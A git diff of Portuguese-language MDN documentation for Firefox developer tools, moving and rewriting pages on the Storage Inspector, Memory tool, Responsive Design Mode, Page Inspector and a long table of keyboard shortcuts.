You can also edit the original sources in the Style Editor and see the results applied to the page immediately. To get this to work there are two extra steps.

- -

First, set up your preprocessor so it watches the original source and automatically regenerates the CSS when the source changes. With Sass you can do this simply by passing the --watch option:

- -
sass index.scss:index.css --sourcemap --watch
- -

Next, save the original source in the Style Editor by clicking the "Save" button next to the file, and saving it over the original file.

- -

Now when you make changes to the source file in the Style Editor the CSS is regenerated and you can see the changes right away.

- -

Atalhos de teclado

- -

Source editor shortcuts

- -

{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}

- -

{{ languages( { "ja": "ja/Tools/Style_Editor"} ) }}

diff --git a/files/pt-pt/tools/inspetor_de_armazenamento/index.html b/files/pt-pt/tools/inspetor_de_armazenamento/index.html deleted file mode 100644 index bc0259b3ca..0000000000 --- a/files/pt-pt/tools/inspetor_de_armazenamento/index.html +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: Inspetor de Armazenamento -slug: Tools/Inspetor_de_armazenamento -tags: - - Armazenamento - - Armazenamento Local - - Armazenamento da Sessão - - BD Indexada - - Cookies - - Ferramentas - - Ferramentas do Programador - - Firefox - - Guia(2) -translation_of: Tools/Storage_Inspector ---- -
{{ToolsSidebar}}
-

The Storage Inspector is disabled by default. Enable it in the Developer Tools Settings.

-
- -

The Storage Inspector enables you to inspect various types of storage that a web page can use. Currently it can be used to inspect the following storage types:

- - - -

For the time being, the Storage Inspector only gives you a read-only view of storage. But we're working to let you edit storage contents in future releases.

- -

Abrir o Inspetor de Armazenamento

- -

Once enabled, you can open the Storage Inspector by selecting "Storage Inspector" from the Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on Mac OS X), or by pressing its Shift + F9 keyboard shortcut.

- -

The Toolbox will appear at the bottom of the browser window, with the Storage Inspector activated. It's just called "Storage" in the Developer Toolbox.

- -

- -

Interface do Utilizador do Inspetor de Armazenamento

- -

The Storage Inspector UI is split into three main components:

- - - -

- -

Árvore de armazenamento

- -

The storage tree lists all the storage types that the Storage Inspector can inspect:

- -

- -

Under each type, objects are organized by origin. For cookies, the protocol does not differentiate the origin. For Indexed DB or local storage an origin is a combination of protocol + hostname. For example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.

- -

Under "Cache Storage", objects are organized by origin and then by the name of the cache:

- -

- -

IndexedDB objects are organized by origin, then by database name, then by object store name:

- -

- -

With the Cookies, Local Storage, and Session Storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin:

- -

- -

You can click on each item in the tree to expand or collapse its children. The tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically.

- -

Clicking on a tree item will display detailed information about that item in the Table Widget on the right. For example, clicking on an origin which is a child of the Cookies storage type will show all the cookies belonging to that domain.

- -

Table Widget

- -

The table widget is the place where all the items corresponding to the selected tree item (be it an origin, or database) are listed. Depending on the storage type and tree item, the number of columns in the table might differ.

- -

All the columns in a Table Widget are resizable. You can hide and show columns by context-clicking on the table header and selecting the columns you want to see:

- -

- -

Procura

- -

There's a search box at the top of the Table Widget:

- -

- -

This filters the table to show only items which match the search term. Items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term.

- -

From Firefox 50 onwards, you can use Ctrl+F (Cmd+F on a Mac) to focus the search box.

- -

Barra lateral

- -

When you select any row in the Storage table widget, the sidebar is shown with details about that row. If a cookie is selected, it will list all the details about that cookie.

- -

The sidebar can parse the value of the cookie or local storage item or an IndexedDB item and convert it into a meaningful object instead of just a string. For example:

- - - -

The shown values can also be filtered using the search box at the top of the sidebar.

- -

Cache de Armazenamento

- -

Under the Cache Storage type you can see the contents of any DOM caches created using the Cache API. If you select a cache, you'll see a list of the resources it contains. For each resource, you'll see:

- - - -

- -

Cookies

- -

When you select an origin inside the Cookies storage type from the storage tree, all the cookies present for that origin will be listed in the table widget. The table then has the following columns:

- - - -
-

Note: Before Firefox 51 the columns HostOnly, Secure and HttpOnly were called isDomain, isSecure and isHttpOnly.

-
- -

You can edit cookies by double-clicking inside cells in the Table Widget and editing the values they contain.

- -

You can also delete cookies using the context menu:

- -

- -

Armazenamento local / Armazenamento da sessão

- -

When an origin corresponding to local storage or session storage is selected, the table will list the name and value of all the items corresponding to local storage or session storage.

- -

You can edit local and session storage items by double-clicking inside cells in the Table Widget and editing the values they contain:

- -

{{EmbedYouTube("oeQzhpoMByw")}}

- -

You can also delete local storage and session storage entries using the context menu:

- -

- -

BD Indexada

- -

When you select an origin inside the Indexed DB storage type in the storage tree, the table lists the details of all the databases present for that origin. Databases have the following details:

- - - -

When an IndexedDB database is selected in the storage tree, details about all the object stores are listed in the table. Any object store has the following details:

- - - -

- -

When an object store is selected in the storage tree, all the items in that object store are listed in the table. All items have a key and a value associated with them.

- -

From Firefox 49 onwards, you can delete an IndexedDB database using the context menu in the Storage tree view:

- -

- -

If the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the Storage Inspector:

- -

From Firefox 50 onwards, you can use the context menu in the table widget to delete all items in an object store, or a particular item:

- -

- -

 

diff --git a/files/pt-pt/tools/keyboard_shortcuts/index.html b/files/pt-pt/tools/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..fdf9129b59 --- /dev/null +++ b/files/pt-pt/tools/keyboard_shortcuts/index.html @@ -0,0 +1,1156 @@ +--- +title: Todos os atalhos de teclado +slug: Tools/atalhos_de_teclado +tags: + - Ferramentas + - 'I10n:priority' +translation_of: Tools/Keyboard_shortcuts +--- +
{{ToolsSidebar}}
+ +

Esta página lista todos os atalhos de teclado utilizados pelas ferramentas de desenvolvimento integradas no Firefox.

+ +

A primeira secção lista o atalho para abrir cada ferramenta e a segunda secção lista os atalhos que são aplicáveis ​​à própria 'Caixa de Ferramentas.' Depois disso, existe uma secção para cada ferramenta, que lista os atalhos que pode utilizar dentro dessa ferramenta.

+ +

Porque as chaves de acesso são dependentes do local, elas não estão documentadas nesta página.

+ +

Abrir e fechar ferramentas

+ +

Estes atalhos funcionam na janela principal do navegador para abrir a ferramenta especificada. Para as ferramentas que estão alojadas na 'Caixa de Ferramentas', elas funcionam para fechar a ferramenta se estiver ativa. Para as ferramentas, tal como a 'Consola do Navegador' que abre numa nova janela, tem de fechar a janela para fechar a ferramenta.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Bring Toolbox to foreground (if the Toolbox is in a separate window and not in foreground)Ctrl + Shift + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Close Toolbox (if the Toolbox is in a separate window and in foreground)Ctrl + Shift + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Open Web Console 1Ctrl + Shift + KCmd + Opt + KCtrl + Shift + K
Toggle "Pick an element from the page" (opens the Toolbox and/or focus the Inspector tab)Ctrl + Shift + CCmd + Opt + CCtrl + Shift + C
Open Style EditorShift + F7Shift + F7 *Shift + F7
Open ProfilerShift + F5Shift + F5 *Shift + F5
Open Network Monitor 2Ctrl + Shift + ECmd + Opt + ECtrl + Shift + E
Toggle Responsive Design ModeCtrl + Shift + MCmd + Opt + MCtrl + Shift + M
Open Browser ConsoleCtrl + Shift + JCmd + Shift + JCtrl + Shift + J
Open Browser ToolboxCtrl + Alt + Shift + ICmd + Opt + Shift + ICtrl + Alt + Shift + I
Open ScratchpadShift + F4Shift + F4 *Shift + F4
Open WebIDEShift + F8Shift + F8 *Shift + F8
Storage InspectorShift + F9Shift + F9 *Shift + F9
Open Debugger 3Ctrl + Shift + ZCmd + Opt + ZCtrl + Shift + Z
+ +

1. Ao contrário das outras ferramentas hospedadas na caixa de ferramentas, este atalho também não fecha a consola da Web. Em vez disso, este concentra-se na linha de comando da consola da Web. Para fechar a consola, utilize o atalho da caixa de ferramentas global de Ctrl + Shift + I (Cmd + Opt + I num Mac).

+ +

2. Antes do Firefox 55, o atalho de teclado era Ctrl + Shift + Q (Cmd + Opt + Q num Mac).

+ +

3. Até ao Firefox 38, quando uma 'Consola do Navegador' está ocultada por uma janela normal do Firefox, a mesma combinação de teclas fecha a consola. A partir do Firefox 38, se a 'Consola do Navegador' é ocultada por uma janela normal do Windows, esta combinação de teclas volta a apresentar esta consola no topo e foca-se na mesma.

+ +

4. A ferramenta está desativada por predefinição, assim o atalho não funcionará até que este seja ativado no 'Painel das Definições'.

+ +

Caixa de Ferramentas

+ +
+

Estes atalhos funcionam sempre que a caixa de ferramentas estiver aberta, independentemente da ferramenta ativa.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Cycle through tools left to rightCtrl + ]Cmd + ]Ctrl + ]
Cycle through tools right to leftCtrl + [Cmd + [Ctrl + [
+

Toggle between active tool and settings

+
Ctrl + Shift + OCmd + Shift + OCtrl + Shift + O
Toggle between active tool and settings (new in Firefox 43)F1F1F1
+

Toggle toolbox between the last 2 docking modes (new in Firefox 41)

+
Ctrl + Shift + DCmd + Shift + DCtrl + Shift + D
Toggle split console (except if console is the currently selected tool)EscEscEsc
+
+ +
+

Estes atalhos funcionam em todas as ferramentas que estão hospedadas na caixa de ferramentas.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsOS XLinux
Increase font sizeCtrl + + Cmd + + Ctrl + +
Decrease font sizeCtrl + -Cmd + -Ctrl + -
Reset font sizeCtrl + 0Cmd + 0Ctrl + 0
+
+ +

Editor fonte

+ +
+

Esta tabela lista os atalhos predefinidos para o editor fonte.

+ +

Nas secção das 'Preferências do Editor' das configurações das ferramentas de desenvolvimento, pode escolher para utilizar Vim, Emacs, ou combinações de teclas de Sublime Text.

+ +

Para as selecionar, visite about:config, selecione a definição devtools.editor.keymap, e atribua "vim" ou "emacs", ou "sublime" para essa definição. Se fizer isso, as combinações selecionadas serão utilziadas para todas as ferramentas de desenvolvimento que utilziam o editor fonte. Precisa de reabrir o editor para que a alteração seja aplicada.

+ +

A partir do Firefox 33, a preferência de combinação de teclas está exposta na secção de Preferências do Editor das definições das ferramentas de desenvolvimento, e pode definir isso lá, em vez de about:config.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsOS XLinux
Ir para a linhaCtrl + JCmd + JCtrl + J
Encontrar um ficheiroCtrl + FCmd + FCtrl + F
Encontrar novamenteCtrl + GCmd + GCtrl + G
Selecionar tudoCtrl + ACmd + ACtrl + A
CortarCtrl + XCmd + XCtrl + X
CopiarCtrl + CCmd + CCtrl + C
ColarCtrl + VCmd + VCtrl + V
AnularCtrl + ZCmd + ZCtrl + Z
RefazerCtrl + Shift + Z / Ctrl + YCmd + Shift + Z / Cmd + YCtrl + Shift + Z / Ctrl + Y
IndentarTabTabTab
Remover indentaçãoShift + TabShift + TabShift + Tab
Mover linha(s) para cimaAlt + UpAlt + UpAlt + Up
Mover linha(s) para baixoAlt + DownAlt + DownAlt + Down
Comentar/remover comentário linha(s)Ctrl + /Cmd + /Ctrl + /
+
+ +

Inspetor de Página

+ +
+ + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Elemento de InspeçãoCtrl + Shift + CCmd + Opt + CCtrl + Shift + C
+ +

Selecionador de Nodo

+ +

Estes atalhos funcionam enquanto o selecionador de nodo estiver ativo.

+ + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Select the element under the mouse and cancel picker modeClickClickClick
Select the element under the mouse and stay in picker modeShift+ClickShift+ClickShift+Click
+ +

Painel HTML

+ +

Estes atalhos funcionam enquanto estiver no painel Inspetor HTML.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Delete the selected nodeDeleteDeleteDelete
Undo delete of a nodeCtrl + ZCmd + ZCtrl + Z
Redo delete of a nodeCtrl + Shift + Z / Ctrl + YCmd + Shift + Z / Cmd + YCtrl + Shift + Z / Ctrl + Y
Move to next node (expanded nodes only)Down arrowDown arrowDown arrow
Move to previous nodeUp arrowUp arrowUp arrow
Expand currently selected nodeRight arrowRight arrowRight arrow
Collapse currently selected nodeRight arrowRight arrowRight arrow
Step forward through the attributes of a nodeTabTabTab
Step backward through the attributes of a nodeShift + TabShift + TabShift + Tab
Start editing the selected attributeEnterReturnEnter
Hide/show the selected nodeHHH
Focus on the search box in the HTML paneCtrl + FCmd + FCtrl + F
Edit as HTMLF2F2F2
Copy the selected node's outer HTML (new in Firefox 42)Ctrl + CCmd + CCtrl + C
Scroll the selected node into view (new in Firefox 44)SSS
Find the next match in the markup, when searching is activeEnterReturnEnter
Find the previous match in the markup, when searching is activeShift + EnterShift + ReturnShift + Enter
+ +

Barra de Breadcrumbs

+ +

Este atalhos funcionam quando a barra de breadcrumbs estiver focada.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Move to the previous element in the breadcrumbs bar Left arrowLeft arrowLeft arrow
Move to the next element in the breadcrumbs bar Right arrowRight arrowRight arrow
Focus the HTML paneShift + TabShift + TabShift + Tab
Focus the CSS paneTabTabTab
+ +

Painel CSS

+ +

Estes atalhos funcionam quando estiver no painel de Inspetor CSS.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Focus on the search box in the CSS paneCtrl + FCmd + FCtrl + F
Clear search box content (only when the search box is focused, and content has been entered)EscEscEsc
Step forward through properties and valuesTabTabTab
Step backward through properties and valuesShift + TabShift + TabShift + Tab
Start editing property or value (Rules view only, when a property or value is selected, but not already being edited)Enter or SpaceReturn or SpaceEnter or Space
Cycle up and down through auto-complete suggestions (Rules view only, when a property or value is being edited)Up arrow , Down arrowUp arrow , Down arrowUp arrow , Down arrow
Choose current auto-complete suggestion (Rules view only, when a property or value is being edited)Enter or TabReturn or TabEnter or Tab
Increment selected value by 1Up arrowUp arrowUp arrow
Decrement selected value by 1Down arrowDown arrowDown arrow
Increment selected value by 100Shift + Page UpShift + Page UpShift + Page Up
Decrement selected value by 100Shift + Page DownShift + Page DownShift + Page Down
Increment selected value by 10Shift + Up arrowShift + Up arrowShift + Up arrow
Decrement selected value by 10Shift + Down arrowShift + Down arrowShift + Down arrow
Increment selected value by 0.1Alt + Up arrowOpt + Up arrowAlt + Up arrow
Decrement selected value by 0.1Alt + Down arrowOpt + Down arrowAlt + Down arrow
Show/hide more information about current property (Computed view only, when a property is selected, new in Firefox 49)Enter or SpaceReturn or SpaceEnter or Space
Open MDN reference page about current property (Computed view only, when a property is selected, new in Firefox 49)F1F1F1
Open current CSS file in Style Editor (Computed view only, when more information is shown for a property and a CSS file reference is focused, new in Firefox 49)EnterReturnEnter
+
+ +

Depurador

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Open the DebuggerCtrl + Shift + SCmd + Opt + SCtrl + Shift + S
Search for a string in the current fileCtrl + F Cmd + FCtrl + F
Find next in the current fileCtrl + G Cmd + G Ctrl + G 
Search for function definitionsCtrl + DCmd + DCtrl + D
Search for scripts by nameCtrl + P Cmd + PCtrl + P
Resume execution when at a breakpointF8F8 1F8
Step overF10F10 1F10
Step intoF11F11 1F11
Step outShift + F11Shift + F11 1Shift + F11
+ +

1. By default, on some Macs, the function key is remapped to use a special feature: for example, to change the screen brightness or the volume. See this guide to using these keys as standard function keys. To use a remapped key as a standard function key, hold the Function key down as well (so to open the Profiler, use Shift + Function + F5).

+ +

Note: Before Firefox 66, the combination Ctrl + Shift + S on Windows and Linux or Cmd + Opt + S on macOS would open/close the Debugger. From Firefox 66 and later, this is no longer the case.

+
+ +

Consola da Web

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Open the Web ConsoleCtrl + Shift + KCmd + Opt + KCtrl + Shift + K
Search in the message display paneCtrl + FCmd + FCtrl + F
Clear the object inspector paneEscapeEscapeEscape
Focus on the command lineCtrl + Shift + KCmd + Opt + KCtrl + Shift + K
Clear output +

Ctrl + L

+ +

From Firefox 44:

+ +

Ctrl + Shift + L

+
Ctrl + L +

Ctrl + L

+ +

From Firefox 44:

+ +

Ctrl + Shift + L

+
+ +

Intérprete da linha de comando

+ +

Estes atalhos aplicam-se quando estiver no intérprete da linha de comando.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Scroll to start of console output (only if the command line is empty)HomeHomeHome
Scroll to end of console output (only if the command line is empty)EndEndEnd
Page up through console outputPage upPage upPage up
Page down through console outputPage downPage downPage down
Go backward through command historyUp arrowUp arrowUp arrow
Go forward through command historyDown arrowDown arrowDown arrow
Move to the beginning of the lineHomeCtrl + ACtrl + A
Move to the end of the lineEndCtrl + ECtrl + E
Execute the current expressionEnterReturnEnter
Add a new line, for entering multiline expressionsShift + EnterShift + ReturnShift + Enter
+ +

Janela de 'Completar Automaticamente'

+ +

Este atalhos aplicam-se enquanto a janela de completar automaticamente estiver aberta:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Choose the current autocomplete suggestionTabTabTab
Cancel the autocomplete popupEscapeEscapeEscape
Move to the previous autocomplete suggestionUp arrowUp arrowUp arrow
Move to the next autocomplete suggestionDown arrowDown arrowDown arrow
Page up through autocomplete suggestionsPage upPage upPage up
Page down through autocomplete suggestionsPage downPage downPage down
Scroll to start of autocomplete suggestionsHomeHomeHome
Scroll to end of autocomplete suggestionsEndEndEnd
+
+ +

Editor de Estilo

+ + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Abrir o Editor de EstiloShift + F7Shift + F7Shift + F7
Abrir janela 'Completar Automaticamente'Ctrl + SpaceCmd + SpaceCtrl + Space
+ +
+

Scratchpad

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Open the ScratchpadShift + F4Shift + F4Shift + F4
Run Scratchpad codeCtrl + RCmd + RCtrl + R
Run Scratchpad code, display the result in the object inspectorCtrl + ICmd + ICtrl + I
Run Scratchpad code, insert the result as a commentCtrl + LCmd + LCtrl + L
Re-evaluate current functionCtrl + ECmd + ECtrl + E
Reload the current page, then run Scratchpad codeCtrl + Shift + RCmd + Shift + RCtrl + Shift + R
Save the padCtrl + SCmd + SCtrl + S
Open an existing padCtrl + OCmd + OCtrl + O
Create a new padCtrl + NCmd + NCtrl + N
Close ScratchpadCtrl + WCmd + WCtrl + W
Pretty print the code in ScratchpadCtrl + PCmd + PCtrl + P
Show autocomplete suggestionsCtrl + SpaceCtrl + SpaceCtrl + Space
Show inline documentationCtrl + Shift + SpaceCtrl + Shift + SpaceCtrl + Shift + Space
+
+ +
+

Eyedropper

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoWindowsmacOSLinux
Selecionar a cor atualEnterReturnEnter
Rejeitar o EyedropperEscapeEscapeEscape
Mover 1 píxelArrow keysArrow keysArrow keys
Mover 10 píxeisShift + arrow keysShift + arrow keysShift + arrow keys
+
+ +
+ + + + + +
+
diff --git a/files/pt-pt/tools/memoria/index.html b/files/pt-pt/tools/memoria/index.html deleted file mode 100644 index b331a5b5b9..0000000000 --- a/files/pt-pt/tools/memoria/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Memória -slug: Tools/Memoria -tags: - - Ferramentas - - Ferramentas de Programador - - Firefox - - Mozilla -translation_of: Tools/Memory ---- -
{{ToolsSidebar}}

The Memory tool lets you take a snapshot of the current tab's memory heap. It then provides a number of views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory.

- -

{{EmbedYouTube("DJLoq5E5ww0")}}

- -
-

O básico

- -
- -
- -
-

Analisar capturas de ecrã

- -
-

The Tree map view is new in Firefox 48, and the Dominators view is new in FIrefox 46.

-
- -

Once you've taken a snapshot, there are three main views the Memory tool provides:

- - - -

If you've opted to record allocation stacks for the snapshot, the Aggregate and Dominators views can show you exactly where in your code allocations are happening.

- -
-

Conceitos

- -
- -
- -
-

Páginas de exemplo

- -

Examples used in the Memory tool documentation.

- -
- -
diff --git a/files/pt-pt/tools/memory/index.html b/files/pt-pt/tools/memory/index.html new file mode 100644 index 0000000000..b331a5b5b9 --- /dev/null +++ b/files/pt-pt/tools/memory/index.html @@ -0,0 +1,65 @@ +--- +title: Memória +slug: Tools/Memoria +tags: + - Ferramentas + - Ferramentas de Programador + - Firefox + - Mozilla +translation_of: Tools/Memory +--- +
{{ToolsSidebar}}

The Memory tool lets you take a snapshot of the current tab's memory heap. It then provides a number of views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory.

+ +

{{EmbedYouTube("DJLoq5E5ww0")}}

+ +
+

O básico

+ +
+ +
+ +
+

Analisar capturas de ecrã

+ +
+

The Tree map view is new in Firefox 48, and the Dominators view is new in FIrefox 46.

+
+ +

Once you've taken a snapshot, there are three main views the Memory tool provides:

+ + + +

If you've opted to record allocation stacks for the snapshot, the Aggregate and Dominators views can show you exactly where in your code allocations are happening.

+ +
+

Conceitos

+ +
+ +
+ +
+

Páginas de exemplo

+ +

Examples used in the Memory tool documentation.

+ +
+ +
diff --git a/files/pt-pt/tools/modo_de_desenho_adaptavel/index.html b/files/pt-pt/tools/modo_de_desenho_adaptavel/index.html deleted file mode 100644 index d186013f92..0000000000 --- a/files/pt-pt/tools/modo_de_desenho_adaptavel/index.html +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Modo de Desenho Adaptável -slug: Tools/Modo_de_Desenho_Adaptavel -tags: - - Desenho - - Desenho Adaptável - - Desenvolvimento de Web - - Ferramentas - - Ferramentas de Desenvolvimento - - Firefox - - Guía - - 'l10n:priority' -translation_of: Tools/Responsive_Design_Mode ---- -
{{ToolsSidebar}}
- -

Desenho adaptável is the practice of designing a website so it looks and works properly on a range of different devices — particularly mobile phones and tablets as well as desktops and laptops.

- -

The most obvious factor here is screen size, but there are other factors as well, including the pixel density of the display and whether it supports touch. Responsive Design Mode gives you a simple way to simulate these factors, to test how your website will look and behave on different devices.

- -

Alternar Modo de Desenho Adaptável

- -

There are three ways to toggle Responsive Design Mode:

- - - -

Utilizar Modo de Desenho Adaptável

- -

With Responsive Design Mode enabled, the content area for web pages is set to the screen size for the particular device. Initially, it's set to 320 x 480 pixels.

- -

- -

You can show or hide the Developer Tools toolbox independently of toggling Responsive Design Mode itself:

- -

While Responsive Design Mode is enabled, you can continue browsing as you normally would in the resized content area.

- -

Seleção de dispositivo

- -

Just above the viewport you'll see a label "no device selected"; click this to see a list of device names. Select a device, and Responsive Design Mode will set the following properties to match the selected device:

- - - -

Additionally, Firefox will set the User-Agent HTTP request header to identify itself as the default browser on the selected device. For example, if you've selected an iPhone, then Firefox will identify itself as Safari. The navigator.userAgent property will be set to the same value.

- -

{{EmbedYouTube("JNAyKemudv0")}}

- -

The devices listed in the drop-down are just a subset of the devices that can be selected. At the end of the drop-down, you'll see an item labeled "Edit list...". Select this to see a panel containing all the choices, which enables you to check the devices you want to see in the drop-down. The set of devices, and the values associated with each device, are taken from https://github.com/mozilla/simulated-devices.

- -

Guardar dispositivos personalizados

- -

Starting in Firefox 54, you can save custom devices in Responsive Design Mode. Each device can have its own:

- - - -

Also, you can preview the properties of existing devices by hovering over the name in the device modal where they will display in a tooltip.

- -

- -

Controlos de dispositivo

- -

You can also supply custom values for most device properties.

- -

Definir tamanho do ecrã

- -

To set screen size, click on the values under the viewport, and edit them:

- -

- -

You can also grab the bottom-left corner of the viewport and drag the viewport to the size you want.

- -

And from Firefox 59 onward, you can now edit the screen size with the keyboard. When you are focused on (or your caret is within) either of the two dimension values, you can press or hold down the up and down cursor keys to increase or decrease the dimension value by 1 pixel each time.

- -

If you want to change the dimensions more rapidly, you can hold down the Shift key, then press or hold down the up and down cursor keys to increase or decrease the dimension value by 10 pixels each time.

- -

Definir proporção do píxel do dispositivo

- -

To set a custom device pixel ratio, click the list box labeled "DPR" and select the value you want:

- -

- -

Alternar simulação do evento de toque

- -

To enable/disable touch event simulation, click the icon of a hand with a pointy finger:

- -

While touch event simulation is enabled, mouse events are translated into touch events.

- -

Controlar o comportamento de recarregar a página

- -

New in Firefox 60 is the Reload when... drop-down menu:

- -

- -

Clicking it reveals two options, both of which are disabled by default:

- - - -

Before Firefox 60, such reloads occurred automatically because certain page behaviors would otherwise not be applied. For example, many pages check for touch support on load and only add event handlers if it is supported, or only enable certain features on certain browsers.

- -

However, if you are not interested in examining such features (maybe you are just checking the overall layout at different sizes), these reloads can waste time and possibly result in the loss of productive work, so it is useful to be able to control these reloads.

- -

Now when you change such settings for the first time, you'll be given a warning message that tells you these reloads are no longer automatic, and informed about how you can make them automatic. For example:

- -

- -

Alternar orientação

- -

To switch the screen orientation between portrait and landscape, click the icon next to the device selector:

- -

- -

Acelerar a rede

- -

If you do all your development and testing using a very fast network connection, you may see problems with your site as soon as it's accessed using a slower connection. In Responsive Design Mode you can instruct the browser to emulate, very approximately, the characteristics of various different types of networks.

- -

The characteristics emulated are:

- - - -

The table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SelectionDownload speedUpload speedMinimum latency (ms)
GPRS50 KB/s20 KB/s500
Regular 2G250 KB/s50 KB/s300
Good 2G450 KB/s150 KB/s150
Regular 3G750 KB/s250 KB/s100
Good 3G1.5 MB/s750 KB/s40
Regular 4G/LTE4 MB/s3 MB/s20
DSL2 MB/s1 MB/s5
Wi-Fi30 MB/s15 MB/s2
- -

To select a network, click the list box that's initially labeled "No throttling":

- -

- -

Capturar Ecrã

- -

To take a screenshot of the viewport, click the camera icon:

- -

- -

Screenshots are saved to Firefox's default download location.

- -

Starting in Firefox 53, if you checked "Screenshot to clipboard" in the Developer Tools Settings page, then the screenshot will also be copied to the system clipboard.

diff --git a/files/pt-pt/tools/page_inspector/atalhos_de_teclado/index.html b/files/pt-pt/tools/page_inspector/atalhos_de_teclado/index.html deleted file mode 100644 index 4fb8d75fb7..0000000000 --- a/files/pt-pt/tools/page_inspector/atalhos_de_teclado/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Atalhos de teclado do inspetor de página -slug: Tools/Page_Inspector/atalhos_de_teclado -translation_of: Tools/Page_Inspector/Keyboard_shortcuts ---- -
{{ToolsSidebar}}

{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "page-inspector") }}

- -

Atalhos globais

- -

{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "all-toolbox-tools") }}

- -
- - - - - -
diff --git a/files/pt-pt/tools/page_inspector/guia_de_iu/index.html b/files/pt-pt/tools/page_inspector/guia_de_iu/index.html deleted file mode 100644 index 271798ce5c..0000000000 --- a/files/pt-pt/tools/page_inspector/guia_de_iu/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Guia de IU -slug: Tools/Page_Inspector/Guia_de_IU -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/UI_Tour ---- -
{{ToolsSidebar}}

Este artigo é um guia rápido das secções principais da interface do utilizador de Inspetor de Página.

- -

Esta abrange três componentes de topo da IU do Inspetor:

- - - -

This guide is intentionally kept as short as possible. It links to various how to guides for the details of how to work with the Inspector.

- -

Botão de selecionar elemento

- -

The Inspector gives you detailed information about the currently selected element. The Select element button is one way you can select an element for inspection:

- -

- -

Note that it's actually part of the main toolbox toolbar, so it's immediately accessible from any tool, not just the Inspector.

- -

To learn how to select an element, see the guide to selecting an element.

- -

Painel de HTML

- -

The Inspector is split into two halves. The left-hand half is occupied by the HTML pane:

- -

- -

To learn more about the structure of the HTML pane, see the guide to examining and editing HTML.

- -

Painel de CSS

- -

The right-hand side of the Inspector is occupied by the CSS pane:

- -

The CSS pane is divided into 4 views:

- - - -

Use the tabs along the top to switch between the different views.

- -

Visualizar Regras

- -

The Rules view lists all the rules that apply to the selected element, ordered from most-specific to least-specific:

- -

- -

See Examine and edit CSS for more details.

- -

Visualização computada

- -

The Computed view shows you the complete computed CSS for the selected element, and an editable visual representation of the box model for the element:

- -

- -

To learn more about the box model view, see Examine and edit the box model. Note that before Firefox 50, the box model view did not appear in the "Computed view" tab, but had its own tab.

- -

To learn more about the CSS declarations listed in this view, see Examine computed CSS.

- -

Visualizar tipo de letra

- -
-

Apenas na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite about:config, encontre a preferência devtools.fontinspector.enabled, e defina-a para "true".

- -

Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.

-
- -

The Fonts view shows all the fonts in the page along with editable samples.

- -

- -

Consultar Visualizar tipos de letra para mais detalhes.

- -

Visualizar animações

- -

The Animations view gives you details of any animations applied to the selected element, and a controller to pause them:

- -

 

